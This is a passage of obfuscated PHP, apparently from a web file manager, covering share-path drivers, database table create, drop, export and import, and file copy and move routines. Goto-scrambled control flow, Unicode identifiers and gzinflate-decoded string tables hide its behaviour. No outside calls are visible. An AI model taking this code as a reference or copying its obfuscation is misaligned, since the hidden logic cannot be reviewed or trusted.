explode($_SERVER[ȦÆ][12], $Aຉ); if (count($e׃ԅ) < $_SERVER[ȦÆ][13]) { $Eԯ = $_SERVER[ȦÆ][14]; $Eԯ(); } $CĂ = $_SERVER[ȦÆ][15]; goto b; BÝ: } goto aÃ; B˝: function Action($bʚ = '') { goto b쯹; aҋ┗: $Fۮ߯˗[$A] = new $Eך(); $Fۮ߯˗[$EΛӷ] = $Fۮ߯˗[$A]; return $Fۮ߯˗[$A]; goto b͈誢; f: $E葮엵 = strtolower($a[0]); if (substr($E葮엵, -6) == $EФ֧[6]) { $bʚ = substr($a[0], 0, -6); $Eך = $bʚ . $EФ֧[7]; $fʻ² = $EФ֧[8]; if (isset($a[1]) && substr(strtolower($a[1]), -5) == $EФ֧[9]) { $Eך = $bʚ . $a[1]; $fʻ² = $EФ֧[10] . $a[1] . $EФ֧[11]; } else { if (count($a) == 3) { $Eך = $bʚ . $a[1] . $a[2]; $fʻ² = $EФ֧[12] . $a[1] . $EФ֧[13] . $a[2] . $EФ֧[11]; } } $fʻ² = PLUGIN_DIR . $bʚ . $EФ֧[4] . $fʻ²; } else { if (substr($E葮엵, -5) == $EФ֧[9]) { $bʚ = substr($a[0], 0, -5); return Model($bʚ); } else { $Eך = $a[0] . $a[1]; $fʻ² = CONTROLLER_DIR . $a[0] . $EФ֧[4] . $a[1] . $EФ֧[14]; } } $A = strtolower($Eך); goto dߞ; dߞ: if (isset($Fۮ߯˗[$A])) { return $Fۮ߯˗[$A]; } if (is_file($fʻ²)) { include_once $fʻ²; } if (!class_exists($Eך)) { return actionCallError("\x5b{$bʚ}\40\75\x3e\x20{$Eך}\135\40\143\154\x61\x73\163\x20\x6e\157\x74\x20\145\170\151\163\x74\163\x21"); } goto aҋ┗; b쯹: $EФ֧ =& $_SERVER[صȢˏ]; static $Fۮ߯˗ = array(); $EΛӷ = $bʚ; goto b騎; b騎: if (isset($Fۮ߯˗[$EΛӷ])) { return $Fۮ߯˗[$EΛӷ]; } $bʚ = trim(str_replace($EФ֧[4], $EФ֧[5], $bʚ), $EФ֧[4]); $a = explode($EФ֧[5], $bʚ); goto f; b͈誢: } function ActionApply($b܆, $C߆裆 = array()) { goto eГ; eГ: if (is_array($b܆)) { return call_user_func_array($b܆, $C߆裆); } if (function_exists($b܆)) { return call_user_func_array($b܆, $C߆裆); } $d봄 = strrpos($b܆, $_SERVER[صȢˏ][5]); goto Cނ; Cނ: $Dֽ = substr($b܆, 0, $d봄); $AЋ = substr($b܆, $d봄 + 1); $BݸĞ = Action($Dֽ); goto cڊ; cڊ: if (!method_exists($BݸĞ, $AЋ)) { return actionCallError("{$b܆}\40\x6d\x65\x74\150\157\x64\x20\156\157\164\40\x65\x78\x69\163\164\x73\41"); } $fƗ = call_user_func_array(array($BݸĞ, $AЋ), $C߆裆); return $fƗ; goto Eď; Eď: } function actionCallError($eƖ) { $Eݶ =& $_SERVER[صȢˏ]; $B = json_encode_force(array($Eݶ[15] => this_url(), $Eݶ[16] => $GLOBALS[$Eݶ[16]])); $B = str_replace(array($Eݶ[17]), array($Eݶ[4]), $B); return write_log($eƖ . $Eݶ[18] . $B, $Eݶ[19]); } goto E; aě: function beforeShutdownFatalError($c) { think_exception($c); } $_SERVER[$_SERVER[صȢˏ][48]] = $fϼ($_SERVER[$_SERVER[صȢˏ][45]]); $A탶к = E_ALL ^ E_NOTICE ^ E_WARNING ^ E_DEPRECATED; goto f٣; f˟: class PathDriverDbShareItem extends PathDriverDB { public function __construct($B΋) { $this->pathParse = $B΋; $this->model = Model($_SERVER[ȦÆ][1103]); } public function getPathOuter($cݝ) { $bӝ =& $_SERVER[ȦÆ]; if (!$cݝ) { return $cݝ; } $A򬷞 = $this->parse($cݝ); return trim(KodIO::makeShare($this->pathParse[$bӝ[372]], $A򬷞[$bӝ[372]]), $bӝ[18]); } protected function infoParse($b, $C = false, $d㘈 = false) { $d =& $_SERVER[ȦÆ]; $f׌ = $this->pathParse[$d[372]]; $D܆ = trim($this->pathParse[$d[1004]], $d[18]); return Action($d[1109])->sharePathInfo($f׌, $D܆); } public function infoFull($AƉ) { $dӽꝼ =& $_SERVER[ȦÆ]; $bNj = explode($dӽꝼ[18], trim($AƉ, $dӽꝼ[18])); if (count($bNj) > 1) { $dд֑ = implode($dӽꝼ[18], array_splice($bNj, 1)); $aݻħ = $this->model->pathInfoByPath($bNj[0], $dд֑); if (!$aݻħ) { return !1; } $this->pathParse[$dӽꝼ[1004]] = $aݻħ[$dӽꝼ[374]]; } return $this->infoParse($AƉ); } public function listAll($d) { goto Cӵ; c: foreach ($d盂 as &$f) { check_abort(); $f[$bݯ[396]] = $bɪ->_shareItemeParse($f[$bݯ[396]], $FŦҙ); } return $d盂; goto BՔÂ; Cӵ: $bݯ =& $_SERVER[ȦÆ]; $cو = IO::info($this->pathParse[$bݯ[85]]); if (!$cو) { return array(); } goto E; E: $d盂 = $this->model->listAll($d); $FŦҙ = Model($bݯ[541])->getInfo($cو[$bݯ[446]]); $bɪ = Action($bݯ[1109]); goto c; BՔÂ: } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($a𜟖) { $this->pathParse = $a𜟖; $this->model = Model($_SERVER[ȦÆ][1103]); } protected function infoParse($c˨ܶ, $D = false, $fޒ = false) { $eč =& $_SERVER[ȦÆ]; return Action($eč[1010])->sharePathInfo($this->pathParse[$eč[85]], !0); } public function listPath($Dݔ, $Dʐ = false) { $e慨 =& $_SERVER[ȦÆ]; $eӢ = parent::listPath($Dݔ, $Dʐ); foreach ($eӢ as $EЕ => $eړ) { if (!in_array($EЕ, array($e慨[83], $e慨[84]))) { continue; } foreach ($eړ as $d락 => $dǝǶ) { $eӢ[$EЕ][$d락] = Action($e慨[1010])->shareItemInfo($dǝǶ); } } return $eӢ; } public function listAll($D) { $B =& $_SERVER[ȦÆ]; $Eᔶ = IO::info($this->pathParse[$B[85]]); if (!$Eᔶ) { return array(); } $Bّ = $this->model->listAll($D); foreach ($Bّ as &$bʗ) { $bʗ[$B[396]] = Action($B[1010])->shareItemInfo($bʗ[$B[396]]); } return $Bّ; } } class PathDriverDriverShareItem { public function __construct($b뮶) { $this->pathParse = $b뮶; } public function __call($d̠, $fև) { $dܕɩ =& $_SERVER[ȦÆ]; if (method_exists($this, $d̠)) { return; } $fƊ = call_user_func_array(array($dܕɩ[1110], $d̠), $fև); $A = array($dܕɩ[1111], $dܕɩ[1112], $dܕɩ[1113], $dܕɩ[1114], $dܕɩ[495], $dܕɩ[497], $dܕɩ[1115], $dܕɩ[112], $dܕɩ[1116], $dܕɩ[1117]); if (in_array($d̠, $A)) { $fƊ = $this->getPathOuter($fƊ); } return $fƊ; } public function copy($FݼNj, $bȿ, $C = false) { return $this->copyMove($FݼNj, $bȿ, $C, $_SERVER[ȦÆ][495]); } public function move($eɖ؆, $f߉, $Fؚ = false) { return $this->copyMove($eɖ؆, $f߉, $Fؚ, $_SERVER[ȦÆ][497]); } private function copyMove($fΑˉ֚, $dҏ, $aLJ, $eُÇ) { goto d; d: $bӢ =& $_SERVER[ȦÆ]; $e୥ = $dҏ; $A = IO::driverMake($dҏ); goto aͬҟ; aͬҟ: if ($A->pathParse[$bӢ[991]]) { $dҏ = $A->pathParse[$bӢ[991]]; } else { $dҏ = $e୥; } $Aː = IO::copyMove($fΑˉ֚, $dҏ, $aLJ, $eُÇ); $Aː = $this->getPathOuter($Aː); goto E⏴; E⏴: return $Aː; goto dʸ; dʸ: } public function pathFather($cᇈ) { return get_path_father($this->pathParse[$_SERVER[ȦÆ][85]]); } public function iconvSystem($Cݸ) { return $Cݸ; } protected function infoParse($Bِ) { $eЄ =& $_SERVER[ȦÆ]; $e׈ = $this->pathParse[$eЄ[444]][$eЄ[1011]] . $this->pathParse[$eЄ[1004]]; $Bꏬʍ = IO::info($e׈); $e֭ = $this->pathParse[$eЄ[444]]; return Action($eЄ[1109])->_shareItemeParse($Bꏬʍ, $e֭); } public function listAll($cۏ) { $dؒ҅ =& $_SERVER[ȦÆ]; $dѮ = IO::listAll($cۏ); $AڃΎ = $this->pathParse[$dؒ҅[444]]; foreach ($dѮ as &$fǪ) { check_abort(); $fǪ = array_merge(IO::info($fǪ[$dؒ҅[85]]), $fǪ); $fǪ[$dؒ҅[396]] = Action($dؒ҅[1109])->_shareItemeParse($fǪ, $AڃΎ); } return $dѮ; } public function getPathOuter($BÈ) { goto B規; e۔: if (substr($dѳ, 0, strlen($fԕ)) != $fԕ) { return !1; } return $this->pathParse[$Dڎ[1005]] . $Dڎ[18] . ltrim($F˥, $Dڎ[18]); goto dٌӡ; C: $dѳ = KodIO::clear($BÈ); $fԕ = KodIO::clear($this->pathParse[$Dڎ[444]][$Dڎ[1011]]); $F˥ = substr($dѳ, strlen($fԕ)); goto e۔; B規: $Dڎ =& $_SERVER[ȦÆ]; $D✛ = KodIO::parse($BÈ); if ($D✛[$Dڎ[39]] == KodIO::KOD_SHARE_ITEM) { return $D✛[$Dڎ[85]]; } goto C; dٌӡ: } public function getType() { $c҅ٚ =& $_SERVER[ȦÆ]; $Aȟ = str_replace($c҅ٚ[81], $c҅ٚ[43], get_class($this)); return strtolower($Aȟ); } public function isTypeObject($D޽) { return IO::isTypeObject($D޽); } public function info($Eí) { return $this->infoParse($Eí); } public function infoAuth($b܍Ã) { return $this->infoParse($b܍Ã); } public function infoWithChildren($C) { return $this->infoParse($C); } public function infoFull($B) { return $this->infoParse($B); } } goto fԨǮ; B̸: $bع = $_SERVER[ȦÆ][552]; while ($bع < $_SERVER[ȦÆ][553]) { if ($bع >= 0) { break; } $bع++; } $_SERVER[ܽҟ] = explode($_SERVER[ȦÆ][554], gzinflate(substr($_SERVER[ȦÆ][555], 10, -8))); goto dԃ; cԠ: class DbManage { function __construct($Eˆ먹, $e = '') { $this->database = $Eˆ먹; $this->type = $e; } public function model($Cä = '') { return new ModelBase($Cä, $_SERVER[ȦÆ][43], $this->database); } public function db($eջǃƨ = false) { goto A䒽ѥ; bǬջ: $this->database = $Dɒü; $BЎ = $this->model()->db(); $e = $BЎ->execute("\163\x68\157\x77\40\144\x61\164\141\142\141\163\x65\x73\40\x6c\x69\153\x65\x20\x27{$E}\47"); goto Bŗν; A䒽ѥ: $fʭ =& $_SERVER[ȦÆ]; $Dɒü = $this->database; if ($this->type == $fʭ[19] || !$eջǃƨ) { return $this->model()->db(); } goto F; F: $E = $Dɒü[$fʭ[239]]; $Dɒü[$fʭ[239]] = $fʭ[43]; if ($Dɒü[$fʭ[883]] == $fʭ[725]) { $FƋ = $Dɒü[$fʭ[882]]; $Dɒü[$fʭ[882]] = substr($FƋ, 0, strrpos($FƋ, $fʭ[968])); } goto bǬջ; B֠Ƿ: $this->database = $Dɒü; $BЎ->execute("\x75\x73\x65\x20\x60{$E}\140"); return $BЎ; goto Bܱ; Bŗν: if (!$e) { $BЎ->execute("\143\x72\145\x61\x74\145\x20\x64\x61\164\x61\142\141\x73\x65\x20\140{$E}\x60"); } $Dɒü[$fʭ[239]] = $E; if ($Dɒü[$fʭ[883]] == $fʭ[725]) { $Dɒü[$fʭ[882]] .= $fʭ[968] . $E; } goto B֠Ƿ; Bܱ: } public function createTable($D, $D = null) { $b̕ =& $_SERVER[ȦÆ]; if (!IO::exist($D)) { show_json(LNG($b̕[969]), !1); } $Cףܮ = sqlSplit(IO::getContent($D)); foreach ($Cףܮ as $E) { if ($D) { $cé = stripos($E, $b̕[970]) === 0; if ($cé) { $D->task[$b̕[971]] += 1; } } $this->model()->db()->execute($E); if ($D && $cé) { $F = $b̕[972]; preg_match($F, $E, $d̈); $D->task[$b̕[973]] = trim($Bը[0], $b̕[819]); $D->update(1); } } $this->taskToCache($D); } public function insertTable($b, $D숺 = null) { $Eʆ =& $_SERVER[ȦÆ]; foreach ($b as $dΗ) { $bウ = basename($dΗ); $bウ = substr($bウ, 0, strrpos($bウ, $Eʆ[101])); if ($D숺) { $D숺->task[$Eʆ[973]] = $bウ; } if (get_filesize($dΗ) == 0) { continue; } $cԛƆ = $this->sqlToDb($dΗ, $D숺); if (!$cԛƆ) { show_json(LNG($Eʆ[974]) . "\133{$bウ}\x5d", !1); } } $this->taskToCache($D숺); } public function sqlFromDb($D, $f󅼌Ќ, $B➷ = null, $aׂ = null) { goto fރ; eȄ: fclose($aژʫ); return $Aƻ΂; goto f†; Cٌÿ: $A΋歹 = 1; $Cֲ = 500; $aژʫ = fopen($f󅼌Ќ, $_SERVER[ȦÆ][975]); goto FЇ; FЇ: $cӉ = $Bڊ->getPk(); $a = $Bڊ->getDbFields(); do { $cƊ = $Bڊ->field($a)->order($cӉ . $_SERVER[ȦÆ][976])->selectPage($Cֲ, $A΋歹); $D = !empty($cƊ[$_SERVER[ȦÆ][359]]) ? $cƊ[$_SERVER[ȦÆ][359]] : array(); if (!($A錯 = count($D))) { break; } if ($B➷) { $B➷->task[$_SERVER[ȦÆ][971]] += $A錯; } $Dڔ = array(); foreach ($D as $e҄˴) { if ($aׂ) { $e҄˴[$_SERVER[ȦÆ][85]] = "\x7b\x69\157\72{$aׂ}\x7d" . substr($e҄˴[$_SERVER[ȦÆ][85]], strlen("\x7b\x69\157\72{$e҄˴[$_SERVER[ȦÆ][744]]}\175")); $e҄˴[$_SERVER[ȦÆ][744]] = $aׂ; } $Dڔ[] = $_SERVER[ȦÆ][977] . $this->sqlEncode($e҄˴) . $_SERVER[ȦÆ][978]; } $dܣ״ = "\x49\x4e\x53\x45\x52\124\40\x49\116\124\x4f\x20\x60{$D}\140\40\50\x60" . implode($_SERVER[ȦÆ][979], $a) . $_SERVER[ȦÆ][980]; fwrite($aژʫ, $dܣ״ . implode($_SERVER[ȦÆ][981], $Dڔ) . $_SERVER[ȦÆ][77] . PHP_EOL); $A΋歹++; $Aƻ΂ += $A錯; if ($B➷) { $B➷->update($A錯); } } while ($A錯 == $Cֲ); goto eȄ; fރ: if ($B➷) { $B➷->task[$_SERVER[ȦÆ][973]] = $D; } $Bڊ = $this->model($D); $Aƻ΂ = 0; goto Cٌÿ; f†: } public function sqlToDb($Aˆع, $b = null) { goto fݞ; fݞ: $Dϋ =& $_SERVER[ȦÆ]; $Aω = $this->model()->db(); $Fֺ = @fopen($Aˆع, $Dϋ[982]); goto a; e: if ($f墌) { $f墌 = rtrim(trim($f墌), $Dϋ[77]); if (!$Aω->execute($f墌)) { return !1; } if ($b) { $b->update($fɗⷤ - 1); } } return !0; goto Cٟގ; AɅ: $Bኂ = 500 + 1; while (!feof($Fֺ)) { if ($b && $fɗⷤ != 0) { $b->task[$Dϋ[971]] += 1; } $fɗⷤ++; $d = trim(fgets($Fֺ)); $f墌 .= $Dϋ[60] . $this->sqlDecode($d, $this->type); if ($fɗⷤ == $Bኂ) { $f墌 = rtrim(trim($f墌), $Dϋ[77]); if (!$Aω->execute($f墌)) { return !1; } if ($b) { $b->update($fɗⷤ - 1); } $f墌 = $Dϋ[43]; $fɗⷤ = 0; } } fclose($Fֺ); goto e; a: if (!$Fֺ) { return !1; } $fɗⷤ = 0; $f墌 = $Dϋ[43]; goto AɅ; Cٟގ: } public function dropTable($fץύ = null) { $Eڍ = $this->model()->db(); $aܾ = $fץύ ? array($fץύ) : $Eڍ->getTables(); if (!$aܾ) { return; } foreach ($aܾ as $fץύ) { $Eڍ->execute("\144\x72\x6f\160\x20\x74\x61\x62\154\x65\x20\151\x66\40\145\x78\151\x73\164\163\40\x60{$fץύ}\140"); } } private function taskToCache($bՑ = null) { $F혿 =& $_SERVER[ȦÆ]; if (!$bՑ) { return; } $Dۏ = array($F혿[973] => $bՑ->task[$F혿[973]], $F혿[971] => $bՑ->task[$F혿[971]], $F혿[983] => $bՑ->task[$F혿[983]]); if ($Dۏ[$F혿[971]] == $Dۏ[$F혿[983]]) { $Dۏ[$F혿[697]] = 1; } Cache::set($F혿[984] . $bՑ->task[$F혿[372]], $Dۏ); $bՑ->end(); } private function sqlEncode($Eዦ) { $DƢ =& $_SERVER[ȦÆ]; $A = array(); foreach ($Eዦ as $f) { if (is_array($f)) { $f = json_encode_force($f); } $f = addslashes($f); $f = str_replace(array($DƢ[985], $DƢ[12]), array($DƢ[986], $DƢ[987]), $f); $A[] = str_replace($DƢ[65], $DƢ[988], $f); } return $DƢ[65] . implode($DƢ[989], $A) . $DƢ[65]; } private function sqlDecode($e, $Fܜ) { $d© =& $_SERVER[ȦÆ]; $e = str_replace(array($d©[986], $d©[987]), array($d©[985], $d©[12]), $e); if ($Fܜ == $d©[19]) { $e = stripslashes($e); } return $e; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($Cګې, $cؠ̅) { $e欶 = self::driverMake($cؠ̅[0]); if (method_exists($e欶, $Cګې)) { return @call_user_func_array(array($e欶, $Cګې), $cؠ̅); } if (method_exists($e欶, $_SERVER[ȦÆ][990])) { return @call_user_func_array(array($e欶, $Cګې), $cؠ̅); } else { if (method_exists(self, $Cګې)) { return @call_user_func_array(array(self, $Cګې), $cؠ̅); } else { call_user_func_array(array(parent, $Cګې), $cؠ̅); } } } public static function init($Eǿ) { return self::driverMake($Eǿ); } public static function copy($e, $f˵ϖ, $Fۉ = false, $e = false) { return self::copyMove($e, $f˵ϖ, $Fۉ, $_SERVER[ȦÆ][495], $e); } public static function move($Fܸ, $dЉ, $Dި̻ = false, $a翢 = false) { return self::copyMove($Fܸ, $dЉ, $Dި̻, $_SERVER[ȦÆ][497], $a翢); } public static function saveFile($bݏ, $f, $Dޓ = true) { goto d͑; F󟑟: $E· = self::driverMake($f); $C = !1; if ($E·->pathParse[$f΅[991]]) { $Aِ = $E·->pathParse[$f΅[991]]; $C = $E·; $E· = self::driverMake($Aِ); } goto Dֆ; Dֆ: $Cҫ = $E·->pathFather($f); $f˭ = !0; if (!$Dޓ && self::driverIsSame($Dָ, $E·)) { $f˭ = !1; } goto f֬ޥ; d͑: $f΅ =& $_SERVER[ȦÆ]; $f = self::info($f); $Dָ = self::driverMake($bݏ); goto F󟑟; f֬ޥ: $B = self::copyFile($Dָ, $bݏ, $E·, $Cҫ, $f[$f΅[38]], $f˭); if ($C) { $B = $C->getPathOuter($B); } return $B; goto bӈ͌; bӈ͌: } private static function copyMove($aҡ, $fϤ, $AՖܶ, $BՏ؝, $cÐ = false) { goto C; e܄: $D = $E՜ď->isFile($aҡ); if (!$D && $E->getType() == $f[695] && $E՜ď->getType() == $f[111]) { $E = $E->copyFolderFromIO($E՜ď, $aҡ, $fϤ, $AՖܶ, $Bܵ, $cÐ); } else { $E = self::copyPath($E՜ď, $aҡ, $E, $fϤ, $AՖܶ, $Bܵ, $D, $cÐ); } if ($E && $Bܵ) { $E՜ď->remove($aҡ); } goto aʓ; EȆ: $b¸ = !1; if ($E->pathParse[$f[991]]) { $fϤ = $E->pathParse[$f[991]]; $b¸ = $E; $E = self::driverMake($fϤ); } self::check($E՜ď, $aҡ, $E, $fϤ); goto A̔; aʓ: if ($b¸) { $E = $b¸->getPathOuter($E); } return $E; goto Fߔ; C΂: $E՜ď = self::driverMake($aҡ); $E = self::driverMake($fϤ); $Bܵ = $BՏ؝ == $f[497]; goto EȆ; A̔: Hook::trigger($f[82], $E՜ď, $aҡ, $E, $fϤ); $A貮ں = self::driverIsSame($E՜ď, $E); if ($A貮ں) { if ($BՏ؝ == $f[497] && trim($fϤ, $f[18]) == trim($E->pathFather($aҡ), $f[18])) { return $E->getPathOuter($aҡ); } if (method_exists($E, $BՏ؝)) { return $E->{$BՏ؝}($aҡ, $fϤ, $AՖܶ); } } goto e܄; C: $f =& $_SERVER[ȦÆ]; if (!$aҡ || $aҡ == $f[18] || !$fϤ) { return !1; } ignore_timeout(); goto C΂; Fߔ: } private static function check($a㴇, $D, $f؋ٜ, &$E뛶͋) { $DƷź =& $_SERVER[ȦÆ]; if (self::driverIsSame($a㴇, $f؋ٜ) && $a㴇->isFolder($D) && $a㴇->isParentOf($D, $E뛶͋)) { show_json(LNG($DƷź[992]), !1); } if (!$a㴇->exist($D)) { show_json(LNG($DƷź[110]), !1); } } private static function copyPath($aǴ, $AĂ, $Fמ, $B흍, $F؂, $B֥, $bԗҽ, $Fӟ = false) { goto D蕿; D蕿: $F𔝌 =& $_SERVER[ȦÆ]; $Eȇ = $Fӟ ? $Fӟ : $aǴ->getPathName($aǴ->pathThis($AĂ)); if ($F؂) { $eڑ = $Fמ->fileNameExist($B흍, $Eȇ); $Eȇ = $Fמ->fileNameAuto($B흍, $Eȇ, $F؂, !$bԗҽ); $F؂ = $eڑ ? $F؂ : !1; } goto E; E: if ($bԗҽ) { return self::copyFile($aǴ, $AĂ, $Fמ, $B흍, $Eȇ, $B֥); } if ($F؂ == REPEAT_RENAME_FOLDER) { $F؂ = !1; } $E = rtrim($B흍, $F𔝌[18]) . $F𔝌[18] . $Eȇ; goto a𷭩; aő: $Aݞ = array_merge($b􋮠[$F𔝌[83]], $b􋮠[$F𔝌[84]]); foreach ($Aݞ as $bޟ) { $F = $bޟ[$F𔝌[39]] == $F𔝌[173]; $AĂ = $aǴ->getPathInner($bޟ[$F𔝌[85]]); $a = self::copyPath($aǴ, $AĂ, $Fמ, $B흍, $F؂, $B֥, $F); if (!$a) { write_log($F𔝌[993] . $AĂ . $F𔝌[994] . $B흍, $F𔝌[995]); } } return $DΔ; goto F֪; a𷭩: $DΔ = $Fמ->mkdir($Fמ->getPath($E)); $B흍 = $Fמ->getPathInner($DΔ); $b􋮠 = $aǴ->listPath($AĂ, !0); goto aő; F֪: } private static function copyFile($eִ, $bܣ, $B¸, $eŲ, $F٤, $BՆ̝) { goto A; Aʗɥ: mk_dir($E); $cݸÅ = $E . $Aތ; $cݸÅ = $eִ->download($bܣ, $cݸÅ); goto Dܴȩ; FȌ֝: Hook::trigger($c[997], $eִ, $bܣ, $B¸, $eŲ, $F٤, $Aތ); if (self::driverIsSame($eִ, $B¸)) { if ($BՆ̝) { $Dǯ = $B¸->moveFile($bܣ, $eŲ); } else { $Dǯ = $B¸->copyFile($bܣ, $eŲ); } Hook::trigger($c[998], $eִ, $bܣ, $B¸, $eŲ, $F٤, $Dǯ); return $Dǯ; } $E = TEMP_FILES; goto Aʗɥ; fռݮ: Hook::trigger($c[998], $eִ, $bܣ, $B¸, $eŲ, $F٤, $Dǯ); return $Dǯ; goto b笫; A: $c =& $_SERVER[ȦÆ]; $eŲ = $B¸->getPath(rtrim($eŲ, $c[18]) . $c[18] . $F٤); $Aތ = $c[996] . time() . rand_string(5); goto FȌ֝; Dܴȩ: $cݸÅ = $eִ->iconvApp($cݸÅ); $Dǯ = $B¸->upload($eŲ, $cݸÅ, $BՆ̝); self::remove($E . $Aތ); goto fռݮ; b笫: } public static function pathFather($f箅) { $f񯈆 = IO::init($f箅); $D뷕Ǜ = $f񯈆->pathFather($f񯈆->path); return $f񯈆->getPathOuter($D뷕Ǜ); } public static function fileOut($cѹ, $Fܮ = false, $e熙ܮ = false, $e = '') { $e = self::driverMake($cѹ); if ($e->isFileOutServer()) { return $e->fileOutServer($cѹ, $Fܮ, $e熙ܮ, $e); } return $e->fileOut($cѹ, $Fܮ, $e熙ܮ, $e); } public static function fileOutImage($eٟ, $aڎ = 250) { $dǝ = array(250, 600, 1200, 3000); for ($Bθ = 0; $Bθ < count($dǝ); $Bθ++) { if ($Bθ == 0 && $aڎ <= $dǝ[$Bθ]) { $aڎ = $dǝ[$Bθ]; break; } else { if ($aڎ > $dǝ[$Bθ - 1] && $aڎ <= $dǝ[$Bθ]) { $aڎ = $dǝ[$Bθ]; break; } else { if ($Bθ == count($dǝ) - 1 && $aڎ > $dǝ[$Bθ]) { $aڎ = $dǝ[$Bθ]; break; } } } } $e֎ = self::driverMake($eٟ); if ($e֎->isFileOutServer()) { return $e֎->fileOutImageServer($eٟ, $aڎ); } return $e֎->fileOutImage($eٟ, $aڎ); } private static function driverIsSame($B, $aԕǫ) { goto d; d: $fǸ =& $_SERVER[ȦÆ]; $EûԎ = $B->getType(); $C삞 = $aԕǫ->getType(); goto f󛒴; f󛒴: if ($EûԎ != $C삞) { return !1; } if ($EûԎ == $fǸ[695]) { return !0; } if ($EûԎ == $fǸ[111]) { return !0; } goto dޛ; dޛ: if ($B->pathDriver == $aԕǫ->pathDriver) { return !0; } return !1; goto eօޚ; eօޚ: } public static function copyUpdate($E, $AݲϢ) { goto f򛉐; dń: Hook::trigger($Cߦ[1002], $E, $AݲϢ, $b); foreach ($Bه as $B) { IO::mkdir($B); } foreach ($f as $B) { IO::copy($B[$Cߦ[999]], $B[$Cߦ[1000]], REPEAT_REPLACE); } goto D愽; f򛉐: $Cߦ =& $_SERVER[ȦÆ]; if (!IO::exist($E)) { return !1; } if (!IO::exist($AݲϢ)) { IO::mkdir($AݲϢ); } goto B֭; B֭: $bڑ = self::_listAll($E); $B = self::_listAll($AݲϢ); $f = array(); goto E۵; E۵: $Bه = array(); foreach ($bڑ as $Cܖ׭ => $B) { if (isset($B[$Cܖ׭])) { if ($B[$Cߦ[86]] == 1) { continue; } if ($B[$Cܖ׭][$Cߦ[87]] == $B[$Cߦ[87]]) { continue; } } if ($B[$Cߦ[86]] == 1) { $Bه[] = $AݲϢ . $Cߦ[18] . $Cܖ׭; continue; } $E̐ = strstr(trim($Cܖ׭, $Cߦ[18]), $Cߦ[18]) ? get_path_father($Cܖ׭) : $Cߦ[43]; $f[] = array($Cߦ[999] => $B[$Cߦ[85]], $Cߦ[1000] => rtrim($AݲϢ, $Cߦ[18]) . $Cߦ[18] . $E̐, $Cߦ[1001] => $B); } $b = array($Cߦ[173] => $f, $Cߦ[86] => $Bه); goto dń; D愽: } private static function _listAll($bҿ㎷) { $FԵʍ =& $_SERVER[ȦÆ]; $bҿ㎷ = KodIO::clear($bҿ㎷); $FՉ = IO::listAll($bҿ㎷); foreach ($FՉ as &$F) { $cÃ󄅖 = substr($F[$FԵʍ[85]], strlen($bҿ㎷)); $F[$FԵʍ[1003]] = trim($cÃ󄅖, $FԵʍ[18]); } return array_to_keyvalue($FՉ, $FԵʍ[1003]); } public static function fileSubstr($EҞ, $e, $F = false) { goto D֙⡶; F: $e򒝉Ǐ = $F; if ($e < 0) { $e = $bꚲ + $e; } if ($F === !1) { $F = $bꚲ - $e; } goto e; Eґ䇛: return $Eخ->fileSubstr($EҞ, $e, $F); goto D񌴍; e: if ($e + $F > $bꚲ) { $F = $bꚲ - $e; } if ($F <= 0) { return $_SERVER[ȦÆ][43]; } if ($e < 0 || $e >= $bꚲ || $F > 1024 * 1024 * 5) { throw new Exception("\146\x69\154\x65\x52\x65\141\x64\40\x65\162\x72\x6f\x72\41\x20\163\x74\x61\162\164\x3d{$e}\x3b\x6c\145\156\x67\x74\150\75{$F}\x3b\x20\163\x69\172\145\x3d{$bꚲ}\x3b"); } goto Eґ䇛; D֙⡶: $Eخ = self::driverMake($EҞ); $bꚲ = $Eخ->size($EҞ); $c܎ = $e; goto F; D񌴍: } private static function driverMake(&$A) { goto e̫; e̫: $C㇖ =& $_SERVER[ȦÆ]; $E = KodIO::parse($A); if (!self::$driverListSystem) { $BЯ׃ = Model($C㇖[705])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($BЯ׃, $C㇖[372]); } goto EͿ; EͿ: if ($E[$C㇖[39]] == KodIO::KOD_IO && !self::$driverListSystem[$E[$C㇖[372]]]) { return !1; } $A = $E[$C㇖[1004]]; $c۵ = self::driverGet($E, $A); goto A͚; A͚: return $c۵; goto D߽; D߽: } private static function driverGet($a, &$aضֳ) { goto A׎; A׎: $Cߌ =& $_SERVER[ȦÆ]; $f׎ô = $a[$Cߌ[1005]]; $fŸ = $a[$Cߌ[372]]; goto d̓; Eَ쨮: $A݈ = self::$driverCache[$E]; $A݈->pathDriver = $f׎ô; $A݈->pathBase = $Cߌ[43]; goto A; d̓: switch ($a[$Cߌ[39]]) { case KodIO::KOD_IO: $b쭈 = self::$driverListSystem[$fŸ]; break; case KodIO::KOD_SOURCE: $aضֳ = $fŸ . $aضֳ; $b쭈 = array($Cߌ[1006] => $Cߌ[1007], $Cߌ[16] => $a); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $fթ = $GLOBALS[$Cߌ[1008]]; self::$driverListUser = array_to_keyvalue($fթ, $Cߌ[372]); } $b쭈 = self::$driverListUser[$fŸ]; break; case KodIO::KOD_SHARE_LINK: $b쭈 = array($Cߌ[1006] => $Cߌ[1009], $Cߌ[16] => $a); $DĬ = Action($Cߌ[1010])->sharePathInfo($a[$Cߌ[85]]); $aضֳ = $DĬ[$Cߌ[374]]; if (!$DĬ[$Cߌ[374]]) { $e酩 = Model($Cߌ[541])->getInfo($DĬ[$Cߌ[446]]); $aضֳ = KodIO::clear($e酩[$Cߌ[1011]] . $a[$Cߌ[1004]]); $a[$Cߌ[444]] = $e酩; $a[$Cߌ[991]] = $aضֳ; $b쭈 = array($Cߌ[1006] => $Cߌ[1012], $Cߌ[16] => $a); } break; case KodIO::KOD_SHARE_ITEM: $b쭈 = array($Cߌ[1006] => $Cߌ[1013], $Cߌ[16] => $a); $e酩 = Model($Cߌ[541])->getInfo($a[$Cߌ[372]]); if ($e酩[$Cߌ[374]] == $Cߌ[473]) { $aضֳ = KodIO::clear($e酩[$Cߌ[1011]] . $a[$Cߌ[1004]]); $a[$Cߌ[444]] = $e酩; $a[$Cߌ[991]] = $aضֳ; $b쭈 = array($Cߌ[1006] => $Cߌ[1014], $Cߌ[16] => $a); } break; default: $aضֳ = $a[$Cߌ[85]]; $b쭈 = array($Cߌ[1006] => $Cߌ[1015]); break; } $E = $a[$Cߌ[85]]; if (!isset(self::$driverCache[$E])) { $f͎ = strtolower($b쭈[$Cߌ[100]]); $cɵ = $GLOBALS[$Cߌ[16]][$Cߌ[94]][$Cߌ[1016]]; 